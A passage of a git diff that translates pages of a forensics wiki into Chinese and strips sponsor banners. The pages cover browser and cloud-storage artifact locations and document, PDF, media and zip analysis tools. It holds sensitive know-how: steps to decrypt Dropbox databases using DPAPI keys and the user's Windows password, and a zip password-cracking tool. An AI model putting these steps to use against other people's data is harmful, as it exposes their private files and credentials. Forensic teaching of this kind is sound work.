[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) tool allows for cache inspection, requiring the cache data extraction folder location. Metadata for cache includes filename, directory, access count, URL origin, and timestamps indicating cache creation, access, modification, and expiry times. +[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) 工具允许检查缓存,需要缓存数据提取文件夹位置。缓存的元数据包括文件名、目录、访问计数、URL 来源和指示缓存创建、访问、修改和过期时间的时间戳。 ### Cookies Management -Cookies can be explored using [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), with metadata encompassing names, URLs, access counts, and various time-related details. Persistent cookies are stored in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, with session cookies residing in memory. +可以使用 [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) 探索 cookies,元数据包括名称、URL、访问计数和各种时间相关的详细信息。持久性 cookies 存储在 `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` 中,会话 cookies 存储在内存中。 ### Download Details -Downloads metadata is accessible via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), with specific containers holding data like URL, file type, and download location. Physical files can be found under `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. +下载元数据可以通过 [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) 访问,特定容器中保存 URL、文件类型和下载位置等数据。物理文件可以在 `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` 下找到。 ### Browsing History -To review browsing history, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) can be used, requiring the location of extracted history files and configuration for Internet Explorer. Metadata here includes modification and access times, along with access counts. History files are located in `%userprofile%\Appdata\Local\Microsoft\Windows\History`. +要查看浏览历史,可以使用 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html),需要提取的历史文件位置和 Internet Explorer 的配置。这里的元数据包括修改和访问时间,以及访问计数。历史文件位于 `%userprofile%\Appdata\Local\Microsoft\Windows\History`。 ### Typed URLs -Typed URLs and their usage timings are stored within the registry under `NTUSER.DAT` at `Software\Microsoft\InternetExplorer\TypedURLs` and `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracking the last 50 URLs entered by the user and their last input times. +输入的 URL 及其使用时间存储在注册表中的 `NTUSER.DAT` 下的 `Software\Microsoft\InternetExplorer\TypedURLs` 和 `Software\Microsoft\InternetExplorer\TypedURLsTime`,跟踪用户输入的最后 50 个 URL 及其最后输入时间。 ## Microsoft Edge -Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The paths for various data types are: +Microsoft Edge 将用户数据存储在 `%userprofile%\Appdata\Local\Packages` 中。各种数据类型的路径如下: - **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` - **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` @@ -143,24 +133,24 @@ Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The p ## Safari -Safari data is stored at `/Users/$User/Library/Safari`. Key files include: +Safari 数据存储在 `/Users/$User/Library/Safari`。关键文件包括: -- **History.db**: Contains `history_visits` and `history_items` tables with URLs and visit timestamps. Use `sqlite3` to query. -- **Downloads.plist**: Information about downloaded files. -- **Bookmarks.plist**: Stores bookmarked URLs. -- **TopSites.plist**: Most frequently visited sites. -- **Extensions.plist**: List of Safari browser extensions. Use `plutil` or `pluginkit` to retrieve. -- **UserNotificationPermissions.plist**: Domains permitted to push notifications. Use `plutil` to parse. -- **LastSession.plist**: Tabs from the last session. Use `plutil` to parse. -- **Browser’s built-in anti-phishing**: Check using `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. A response of 1 indicates the feature is active. +- **History.db**: 包含 `history_visits` 和 `history_items` 表,存储 URL 和访问时间戳。使用 `sqlite3` 查询。 +- **Downloads.plist**: 有关下载文件的信息。 +- **Bookmarks.plist**: 存储书签的 URL。 +- **TopSites.plist**: 最常访问的网站。 +- **Extensions.plist**: Safari 浏览器扩展的列表。使用 `plutil` 或 `pluginkit` 检索。 +- **UserNotificationPermissions.plist**: 允许推送通知的域。使用 `plutil` 进行解析。 +- **LastSession.plist**: 上一会话的标签。使用 `plutil` 进行解析。 +- **Browser’s built-in anti-phishing**: 使用 `defaults read com.apple.Safari WarnAboutFraudulentWebsites` 检查。响应为 1 表示该功能已启用。 ## Opera -Opera's data resides in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` and shares Chrome's format for history and downloads. +Opera 的数据位于 `/Users/$USER/Library/Application Support/com.operasoftware.Opera`,并与 Chrome 的历史和下载格式相同。 -- **Browser’s built-in anti-phishing**: Verify by checking if `fraud_protection_enabled` in the Preferences file is set to `true` using `grep`. +- **Browser’s built-in anti-phishing**: 通过检查 Preferences 文件中的 `fraud_protection_enabled` 是否设置为 `true` 来验证,使用 `grep`。 -These paths and commands are crucial for accessing and understanding the browsing data stored by different web browsers. +这些路径和命令对于访问和理解不同网络浏览器存储的浏览数据至关重要。 ## References @@ -169,12 +159,4 @@ These paths and commands are crucial for accessing and understanding the browsin - [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file) - **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md index c22a6f566..0398ce4af 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md @@ -1,50 +1,42 @@ {{#include ../../../banners/hacktricks-training.md}} -Some things that could be useful to debug/deobfuscate a malicious VBS file: +一些可以用于调试/去混淆恶意 VBS 文件的有用工具: ## echo - ```bash Wscript.Echo "Like this?" ``` - -## Commnets - +## 评论 ```bash ' this is a comment ``` - -## Test - +## 测试 ```bash cscript.exe file.vbs ``` - -## Write data to a file - +## 将数据写入文件 ```js Function writeBinary(strBinary, strPath) - Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") +Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") - ' below lines purpose: checks that write access is possible! - Dim oTxtStream +' below lines purpose: checks that write access is possible! +Dim oTxtStream - On Error Resume Next - Set oTxtStream = oFSO.createTextFile(strPath) +On Error Resume Next +Set oTxtStream = oFSO.createTextFile(strPath) - If Err.number <> 0 Then MsgBox(Err.message) : Exit Function - On Error GoTo 0 +If Err.number <> 0 Then MsgBox(Err.message) : Exit Function +On Error GoTo 0 - Set oTxtStream = Nothing - ' end check of write access +Set oTxtStream = Nothing +' end check of write access - With oFSO.createTextFile(strPath) - .Write(strBinary) - .Close - End With +With oFSO.createTextFile(strPath) +.Write(strBinary) +.Close +End With End Function ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index 99792162b..6c235eb52 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -1,114 +1,96 @@ -# Local Cloud Storage +# 本地云存储 {{#include ../../../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - ## OneDrive -In Windows, you can find the OneDrive folder in `\Users\\AppData\Local\Microsoft\OneDrive`. And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` which contains some interesting data regarding the synchronized files: +在Windows中,您可以在 `\Users\\AppData\Local\Microsoft\OneDrive` 找到OneDrive文件夹。在 `logs\Personal` 中,可以找到文件 `SyncDiagnostics.log`,其中包含有关同步文件的一些有趣数据: -- Size in bytes -- Creation date -- Modification date -- Number of files in the cloud -- Number of files in the folder -- **CID**: Unique ID of the OneDrive user -- Report generation time -- Size of the HD of the OS +- 字节大小 +- 创建日期 +- 修改日期 +- 云中的文件数量 +- 文件夹中的文件数量 +- **CID**: OneDrive用户的唯一ID +- 报告生成时间 +- 操作系统的HD大小 -Once you have found the CID it's recommended to **search files containing this ID**. You may be able to find files with the name: _**\.ini**_ and _**\.dat**_ that may contain interesting information like the names of files synchronized with OneDrive. +一旦找到CID,建议**搜索包含此ID的文件**。您可能会找到名为: _**\.ini**_ 和 _**\.dat**_ 的文件,这些文件可能包含与OneDrive同步的文件名称等有趣信息。 ## Google Drive -In Windows, you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default`\ -This folder contains a file called Sync_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files, etc. Even deleted files appear in that log file with its corresponding MD5. +在Windows中,您可以在 `\Users\\AppData\Local\Google\Drive\user_default` 找到主要的Google Drive文件夹\ +此文件夹包含一个名为Sync_log.log的文件,其中包含帐户的电子邮件地址、文件名、时间戳、文件的MD5哈希等信息。即使是已删除的文件也会出现在该日志文件中,并带有相应的MD5。 -The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`**. In this table you can find the **name** of the **synchronized** **files**, modified time, size, and the MD5 checksum of the files. +文件 **`Cloud_graph\Cloud_graph.db`** 是一个sqlite数据库,包含表 **`cloud_graph_entry`**。在此表中,您可以找到**同步** **文件**的**名称**、修改时间、大小和文件的MD5校验和。 -The table data of the database **`Sync_config.db`** contains the email address of the account, the path of the shared folders and the Google Drive version. +数据库 **`Sync_config.db`** 的表数据包含帐户的电子邮件地址、共享文件夹的路径和Google Drive版本。 ## Dropbox -Dropbox uses **SQLite databases** to manage the files. In this\ -You can find the databases in the folders: +Dropbox使用**SQLite数据库**来管理文件。在此\ +您可以在以下文件夹中找到数据库: - `\Users\\AppData\Local\Dropbox` - `\Users\\AppData\Local\Dropbox\Instance1` - `\Users\\AppData\Roaming\Dropbox` -And the main databases are: +主要数据库包括: - Sigstore.dbx - Filecache.dbx - Deleted.dbx - Config.dbx -The ".dbx" extension means that the **databases** are **encrypted**. Dropbox uses **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) +“.dbx”扩展名意味着**数据库**是**加密的**。Dropbox使用**DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) -To understand better the encryption that Dropbox uses you can read [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). +要更好地理解Dropbox使用的加密,您可以阅读 [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)。 -However, the main information is: +然而,主要信息是: -- **Entropy**: d114a55212655f74bd772e37e64aee9b -- **Salt**: 0D638C092E8B82FC452883F95F355B8E -- **Algorithm**: PBKDF2 -- **Iterations**: 1066 +- **熵**: d114a55212655f74bd772e37e64aee9b +- **盐**: 0D638C092E8B82FC452883F95F355B8E +- **算法**: PBKDF2 +- **迭代次数**: 1066 -Apart from that information, to decrypt the databases you still need: +除此之外,要解密数据库,您仍然需要: -- The **encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary) -- The **`SYSTEM`** and **`SECURITY`** hives -- The **DPAPI master keys**: Which can be found in `\Users\\AppData\Roaming\Microsoft\Protect` -- The **username** and **password** of the Windows user +- **加密的DPAPI密钥**: 您可以在注册表中找到它,路径为 `NTUSER.DAT\Software\Dropbox\ks\client`(将此数据导出为二进制) +- **`SYSTEM`** 和 **`SECURITY`** 注册表项 +- **DPAPI主密钥**: 可以在 `\Users\\AppData\Roaming\Microsoft\Protect` 找到 +- Windows用户的**用户名**和**密码** -Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** +然后您可以使用工具 [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** ![](<../../../images/image (448).png>) -If everything goes as expected, the tool will indicate the **primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber_chef receipt]() putting the primary key as the "passphrase" inside the receipt. - -The resulting hex is the final key used to encrypt the databases which can be decrypted with: +如果一切顺利,该工具将指示您需要**用来恢复原始密钥的主密钥**。要恢复原始密钥,只需使用此 [cyber_chef receipt](),将主密钥作为“密码短语”放入配方中。 +生成的十六进制是用于加密数据库的最终密钥,可以用来解密: ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` +**`config.dbx`** 数据库包含: -The **`config.dbx`** database contains: +- **Email**: 用户的电子邮件 +- **usernamedisplayname**: 用户的名称 +- **dropbox_path**: Dropbox 文件夹所在的路径 +- **Host_id: Hash** 用于认证到云端。只能从网页上撤销。 +- **Root_ns**: 用户标识符 -- **Email**: The email of the user -- **usernamedisplayname**: The name of the user -- **dropbox_path**: Path where the dropbox folder is located -- **Host_id: Hash** used to authenticate to the cloud. This can only be revoked from the web. -- **Root_ns**: User identifier +**`filecache.db`** 数据库包含与 Dropbox 同步的所有文件和文件夹的信息。表 `File_journal` 是包含更多有用信息的表: -The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information: +- **Server_path**: 文件在服务器内部的路径(该路径前面有客户端的 `host_id`)。 +- **local_sjid**: 文件的版本 +- **local_mtime**: 修改日期 +- **local_ctime**: 创建日期 -- **Server_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client). -- **local_sjid**: Version of the file -- **local_mtime**: Modification date -- **local_ctime**: Creation date +该数据库中的其他表包含更有趣的信息: -Other tables inside this database contain more interesting information: - -- **block_cache**: hash of all the files and folders of Dropbox -- **block_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal` -- **mount_table**: Share folders of dropbox -- **deleted_fields**: Dropbox deleted files +- **block_cache**: Dropbox 所有文件和文件夹的哈希 +- **block_ref**: 将表 `block_cache` 的哈希 ID 与表 `file_journal` 中的文件 ID 关联 +- **mount_table**: Dropbox 的共享文件夹 +- **deleted_fields**: Dropbox 删除的文件 - **date_added** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 34433ce87..7bf15cedb 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -2,35 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -
+有关更多信息,请查看 [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)。这只是一个摘要: -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +微软创建了许多办公文档格式,主要有两种类型:**OLE 格式**(如 RTF、DOC、XLS、PPT)和 **Office Open XML (OOXML) 格式**(如 DOCX、XLSX、PPTX)。这些格式可以包含宏,使其成为网络钓鱼和恶意软件的目标。OOXML 文件结构为 zip 容器,可以通过解压缩进行检查,揭示文件和文件夹层次结构及 XML 文件内容。 -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +要探索 OOXML 文件结构,提供了解压文档的命令和输出结构。隐藏数据的技术已被记录,表明在 CTF 挑战中数据隐蔽的持续创新。 -For further information check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). This is just a sumary: - -Microsoft has created many office document formats, with two main types being **OLE formats** (like RTF, DOC, XLS, PPT) and **Office Open XML (OOXML) formats** (such as DOCX, XLSX, PPTX). These formats can include macros, making them targets for phishing and malware. OOXML files are structured as zip containers, allowing inspection through unzipping, revealing the file and folder hierarchy and XML file contents. - -To explore OOXML file structures, the command to unzip a document and the output structure are given. Techniques for hiding data in these files have been documented, indicating ongoing innovation in data concealment within CTF challenges. - -For analysis, **oletools** and **OfficeDissector** offer comprehensive toolsets for examining both OLE and OOXML documents. These tools help in identifying and analyzing embedded macros, which often serve as vectors for malware delivery, typically downloading and executing additional malicious payloads. Analysis of VBA macros can be conducted without Microsoft Office by utilizing Libre Office, which allows for debugging with breakpoints and watch variables. - -Installation and usage of **oletools** are straightforward, with commands provided for installing via pip and extracting macros from documents. Automatic execution of macros is triggered by functions like `AutoOpen`, `AutoExec`, or `Document_Open`. +对于分析,**oletools** 和 **OfficeDissector** 提供了全面的工具集,用于检查 OLE 和 OOXML 文档。这些工具有助于识别和分析嵌入的宏,这些宏通常作为恶意软件传递的载体,通常下载并执行额外的恶意负载。可以利用 Libre Office 对 VBA 宏进行分析,而无需 Microsoft Office,这允许使用断点和监视变量进行调试。 +**oletools** 的安装和使用非常简单,提供了通过 pip 安装和从文档中提取宏的命令。宏的自动执行由 `AutoOpen`、`AutoExec` 或 `Document_Open` 等函数触发。 ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 79799f2d8..d58a96106 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -1,28 +1,20 @@ -# PDF File analysis +# PDF 文件分析 {{#include ../../../banners/hacktricks-training.md}} -
+**有关更多详细信息,请查看:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +PDF 格式因其复杂性和潜在的数据隐藏能力而闻名,使其成为 CTF 取证挑战的焦点。它结合了纯文本元素和二进制对象,这些对象可能被压缩或加密,并且可以包含 JavaScript 或 Flash 等语言的脚本。要理解 PDF 结构,可以参考 Didier Stevens 的 [入门材料](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/),或使用文本编辑器或 PDF 专用编辑器如 Origami。 -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +对于 PDF 的深入探索或操作,可以使用 [qpdf](https://github.com/qpdf/qpdf) 和 [Origami](https://github.com/mobmewireless/origami-pdf) 等工具。PDF 中的隐藏数据可能隐藏在: -**For further details check:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) +- 隐形图层 +- Adobe 的 XMP 元数据格式 +- 增量生成 +- 与背景颜色相同的文本 +- 图像后面的文本或重叠的图像 +- 不显示的注释 -The PDF format is known for its complexity and potential for concealing data, making it a focal point for CTF forensics challenges. It combines plain-text elements with binary objects, which might be compressed or encrypted, and can include scripts in languages like JavaScript or Flash. To understand PDF structure, one can refer to Didier Stevens's [introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), or use tools like a text editor or a PDF-specific editor such as Origami. - -For in-depth exploration or manipulation of PDFs, tools like [qpdf](https://github.com/qpdf/qpdf) and [Origami](https://github.com/mobmewireless/origami-pdf) are available. Hidden data within PDFs might be concealed in: - -- Invisible layers -- XMP metadata format by Adobe -- Incremental generations -- Text with the same color as the background -- Text behind images or overlapping images -- Non-displayed comments - -For custom PDF analysis, Python libraries like [PeepDF](https://github.com/jesparza/peepdf) can be used to craft bespoke parsing scripts. Further, the PDF's potential for hidden data storage is so vast that resources like the NSA guide on PDF risks and countermeasures, though no longer hosted at its original location, still offer valuable insights. A [copy of the guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) and a collection of [PDF format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) by Ange Albertini can provide further reading on the subject. +对于自定义 PDF 分析,可以使用 Python 库如 [PeepDF](https://github.com/jesparza/peepdf) 来制作定制的解析脚本。此外,PDF 隐藏数据存储的潜力非常巨大,以至于像 NSA 关于 PDF 风险和对策的指南,尽管不再托管在其原始位置,但仍提供了有价值的见解。可以参考 [该指南的副本](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) 和 Ange Albertini 的 [PDF 格式技巧集合](https://github.com/corkami/docs/blob/master/PDF/PDF.md) 以获取更多相关阅读。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md index 6108df028..d33b50dcb 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md @@ -1,9 +1,9 @@ {{#include ../../../banners/hacktricks-training.md}} -**PNG files** are highly regarded in **CTF challenges** for their **lossless compression**, making them ideal for embedding hidden data. Tools like **Wireshark** enable the analysis of PNG files by dissecting their data within network packets, revealing embedded information or anomalies. +**PNG 文件**在 **CTF 挑战**中备受推崇,因为它们具有 **无损压缩**,使其非常适合嵌入隐藏数据。像 **Wireshark** 这样的工具可以通过解析网络数据包中的 PNG 文件来分析它们,揭示嵌入的信息或异常。 -For checking PNG file integrity and repairing corruption, **pngcheck** is a crucial tool, offering command-line functionality to validate and diagnose PNG files ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). When files are beyond simple fixes, online services like [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) provide a web-based solution for **repairing corrupted PNGs**, aiding in the recovery of crucial data for CTF participants. +为了检查 PNG 文件的完整性和修复损坏,**pngcheck** 是一个关键工具,提供命令行功能来验证和诊断 PNG 文件 ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html))。当文件超出简单修复的范围时,像 [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) 这样的在线服务提供基于网络的解决方案来 **修复损坏的 PNG**,帮助 CTF 参与者恢复重要数据。 -These strategies underscore the importance of a comprehensive approach in CTFs, utilizing a blend of analytical tools and repair techniques to uncover and recover hidden or lost data. +这些策略强调了在 CTF 中采用全面方法的重要性,利用分析工具和修复技术的结合来发现和恢复隐藏或丢失的数据。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md index a1e143cb0..5502b0760 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md @@ -1,29 +1,17 @@ {{#include ../../../banners/hacktricks-training.md}} -
+**音频和视频文件操作** 是 **CTF 取证挑战** 的一个重要组成部分,利用 **隐写术** 和元数据分析来隐藏或揭示秘密信息。工具如 **[mediainfo](https://mediaarea.net/en/MediaInfo)** 和 **`exiftool`** 对于检查文件元数据和识别内容类型至关重要。 -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: +对于音频挑战,**[Audacity](http://www.audacityteam.org/)** 是查看波形和分析频谱图的首选工具,对于揭示音频中编码的文本至关重要。**[Sonic Visualiser](http://www.sonicvisualiser.org/)** 被高度推荐用于详细的频谱图分析。**Audacity** 允许音频操作,如减慢或反转音轨以检测隐藏信息。**[Sox](http://sox.sourceforge.net/)** 是一个命令行工具,擅长转换和编辑音频文件。 -{% embed url="https://academy.8ksec.io/" %} +**最低有效位 (LSB)** 操作是音频和视频隐写术中的一种常见技术,利用固定大小的媒体文件块来隐蔽地嵌入数据。**[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** 对于解码隐藏为 **DTMF 音调** 或 **摩尔斯电码** 的信息非常有用。 -**Audio and video file manipulation** is a staple in **CTF forensics challenges**, leveraging **steganography** and metadata analysis to hide or reveal secret messages. Tools such as **[mediainfo](https://mediaarea.net/en/MediaInfo)** and **`exiftool`** are essential for inspecting file metadata and identifying content types. +视频挑战通常涉及将音频和视频流打包的容器格式。**[FFmpeg](http://ffmpeg.org/)** 是分析和操作这些格式的首选工具,能够进行解复用和播放内容。对于开发者,**[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** 将 FFmpeg 的功能集成到 Python 中,以实现高级可脚本交互。 -For audio challenges, **[Audacity](http://www.audacityteam.org/)** stands out as a premier tool for viewing waveforms and analyzing spectrograms, essential for uncovering text encoded in audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** is highly recommended for detailed spectrogram analysis. **Audacity** allows for audio manipulation like slowing down or reversing tracks to detect hidden messages. **[Sox](http://sox.sourceforge.net/)**, a command-line utility, excels in converting and editing audio files. +这一系列工具突显了 CTF 挑战中所需的多样性,参与者必须运用广泛的分析和操作技术,以揭示音频和视频文件中的隐藏数据。 -**Least Significant Bits (LSB)** manipulation is a common technique in audio and video steganography, exploiting the fixed-size chunks of media files to embed data discreetly. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** is useful for decoding messages hidden as **DTMF tones** or **Morse code**. - -Video challenges often involve container formats that bundle audio and video streams. **[FFmpeg](http://ffmpeg.org/)** is the go-to for analyzing and manipulating these formats, capable of de-multiplexing and playing back content. For developers, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integrates FFmpeg's capabilities into Python for advanced scriptable interactions. - -This array of tools underscores the versatility required in CTF challenges, where participants must employ a broad spectrum of analysis and manipulation techniques to uncover hidden data within audio and video files. - -## References +## 参考文献 - [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index d4e17eb0d..a12552dd3 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -2,17 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -**Command-line tools** for managing **zip files** are essential for diagnosing, repairing, and cracking zip files. Here are some key utilities: +**命令行工具** 用于管理 **zip 文件** 对于诊断、修复和破解 zip 文件至关重要。以下是一些关键工具: -- **`unzip`**: Reveals why a zip file may not decompress. -- **`zipdetails -v`**: Offers detailed analysis of zip file format fields. -- **`zipinfo`**: Lists contents of a zip file without extracting them. -- **`zip -F input.zip --out output.zip`** and **`zip -FF input.zip --out output.zip`**: Try to repair corrupted zip files. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: A tool for brute-force cracking of zip passwords, effective for passwords up to around 7 characters. +- **`unzip`**: 揭示 zip 文件可能无法解压的原因。 +- **`zipdetails -v`**: 提供 zip 文件格式字段的详细分析。 +- **`zipinfo`**: 列出 zip 文件的内容而不提取它们。 +- **`zip -F input.zip --out output.zip`** 和 **`zip -FF input.zip --out output.zip`**: 尝试修复损坏的 zip 文件。 +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: 一种用于暴力破解 zip 密码的工具,适用于大约 7 个字符的密码。 -The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) provides comprehensive details on the structure and standards of zip files. +[Zip 文件格式规范](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) 提供了关于 zip 文件结构和标准的全面细节。 -It's crucial to note that password-protected zip files 